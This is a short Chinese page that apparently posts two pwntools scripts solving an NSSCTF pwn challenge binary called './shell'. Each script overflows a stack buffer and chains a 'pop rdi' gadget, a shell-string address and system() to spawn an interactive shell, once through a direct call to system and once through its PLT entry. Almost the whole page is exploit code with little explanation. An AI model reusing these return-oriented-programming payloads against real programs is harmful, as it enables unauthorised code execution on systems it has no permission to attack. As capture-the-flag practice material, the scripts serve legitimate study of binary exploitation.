资讯详情

call _system

from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

r = process('./shell')

r = remote("node4.anna.nssctf.cn", 25607)
offset = 0x10+0x8
pop_rdi_ret = 0x4005e3
ret_addr = 0x40057d
system_addr = 0x400557
shell_addr = 0x400541
payload = offset * b'a'+p64(pop_rdi_ret) + p64(shell_addr) + p64(system_addr)

r.sendline(payload)
r.interactive()

plt的system

from pwn import*

p = process('./shell')

#p = remote("node4.anna.nssctf.cn", 28644)

sys_addr = 0x0400430

sh_addr = 0x0400541

pop_rdi_addr = 0x04005e3

ret_addr = 0x0400416

payload = b'a'*(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(sh_addr) + p64(sys_addr)

p.sendline(payload)

p.interactive()